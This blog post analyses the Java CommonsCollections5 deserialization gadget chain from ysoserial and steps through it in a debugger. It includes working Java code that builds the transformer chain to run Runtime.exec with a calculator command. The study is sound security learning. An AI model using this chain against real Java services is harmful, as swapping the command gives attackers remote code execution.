Skip to the content.
19 January 2022

Analyze Java deserialization: CommonsCollections5 gadget chain ( part 1 )

by Quang Vo

Introduction

Most of people have heard about Java deserialization apocalypse. There are great tools out there for hunting deserialization vulnerabilities out there, to name a fews:

While in those tools, payloads are already there for us to use. But I believe the best way to learn and remember what we learnt are by actually understanding it, that’s why I write this blog, to help me remember and understand it more and also for who want to know about this. t

In this blog, we are going to dive in some of the famous gadget chain to see what’s in there and how it’s work.

IDE I use in this blog will be IntelliJ IDEA Ultimate so that we can debug line by line of codes, you can use the community version, it’s fine.

I’m not an expert in Java or Java deserialization exploit, so if I made any mistakes in this blog post, please forgive me and let me know how can I fix it.

CommonsCollections5 gadget chain

In ysoserial, there are 7 different gadget chains relate to CommonsCollection . In this blog post, I’ll use commons-collection version 3.2.1 .

Here is what the gadget chain look like from ysoserial :

BadAttributeValueExpException.readObject()
  TiedMapEntry.toString()
    TiedMapEntry.getValue()
      LazyMap.get()
        ChainedTransformer.transform()
          ConstantTransformer.transform()
          InvokerTransformer.transform()
            Method.invoke()
              Class.getMethod()
          InvokerTransformer.transform()
            Method.invoke()
              Runtime.getRuntime()
          InvokerTransformer.transform()
            Method.invoke()

I write some Java code to invoke the gadget chain and start to debug it ( you can see more details from here):

   public static void CommonsCollections5() throws IllegalAccessException, NoSuchFieldException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"gnome-calculator"})});
        HashMap innerMap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innerMap,chain);
        TiedMapEntry tiedMap = new TiedMapEntry(map,123);
        tiedMap.toString();

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        Field fi = poc.getClass().getDeclaredField("val");
        fi.setAccessible(true);
        fi.set(poc, tiedMap);
    }

The gadget chain start at BadAttributeValueExpException.readObject()

Content of BadAttributeValueExpException.readObject()

image

We will place breakpoint at LazyMap.get() method to start debugging this gadget chain

image

Why do I place breakpoint at LazyMap.get() method ?.

That is because if we place breakpoint at BadAttributeValueExpException.readObject() or TiedMapEntry.toString() or TiedMapEntry.getValue() method. IntelliJ IDEA Debugger will execute the payload and pop calc before we go all the way down to the gadget chain, I guess during the Debugger session, IntelliJ IDEA has invoked methods beforehand to get us the local variables’s value, so the payload has been executed.

Let’s go through what LazyMap.get() does:

image

this.factory here is ChainedTransfomer so this.factory.transform() is ChainedTransformer.transform

Stepping into this.factory.transform() image

this.iTransformer[] has 4 elements:

At the first interval, i=0

this.iTransformer[0] = ConstantTransformer

So this.iTransformer[0].transform() = ConstantTransformer.transform()

image ConstantTransformer.transform()

ConstantTransformer.transform() doesn’t do anything much, just return this.iConstant

Second interval, i=1

image

this.iTransformer[1].transform(object) where:

Stepping in InvokerTransformer.transform(object)

image

Current local variables:

The input here is: Runtime.class, an Object of class java.lang.Class. Every class in Java is an object of class java.lang.Class

So Class cls = Runtime.class.getClass() => cls = java.lang.Class

The next line: Method method = cls.getMethod(this.iMethodName, this.iParamTypes) with:

It turns to:

Method method = Class.getMethod("getMethod"); 

Which means, using getMethod() to get the method name getMethod of class Class ( kinda confusing right ? )

The final one: method.invoke(input, this.iArgs)

This is belong to Java Reflection API collection, it allows us to invoke methods on a class, if that class is not possible to cast an instance of the class to the desire type ( read more here)

Eventually, it will turns into:

Runtime.class.getMethod("getRuntime", ...)

The final result of this loop is object = getRuntime()

Third interval, i=2

image

Where:

Stepping into InvokerTransformer.transform(object ( it will be like Step 2 ) image

Current local variables:

Method method =   cls.getMethod(this.iMethodName, this.iParamTypes);  

with:

 this.iMethodName = "invoke"
 this.iParamTypes[] = {java.lang.Object, Object[]}
 
 => java.lang.reflect.Method.invoke()

Finally

return method.invoke(input, this.iArgs)

will become:

java.lang.reflect.Method.invoke(Runtime.getRuntime(), ....)

The final interval, i=3

image

Stepping into the transform method

image

This time:

method = Runtime.class.getMethod("exec", "gnome-calculator")

Finally

method.invoke() => our sink

Will execute our command, this is the last of our chain

image

Conclusion

I’m writing this post without having much experience about Java or Java deserialization, but I think research & write down what you understand is a crucial part of being a security researcher, even if you may be wrong ;)

tags: java, - deserialization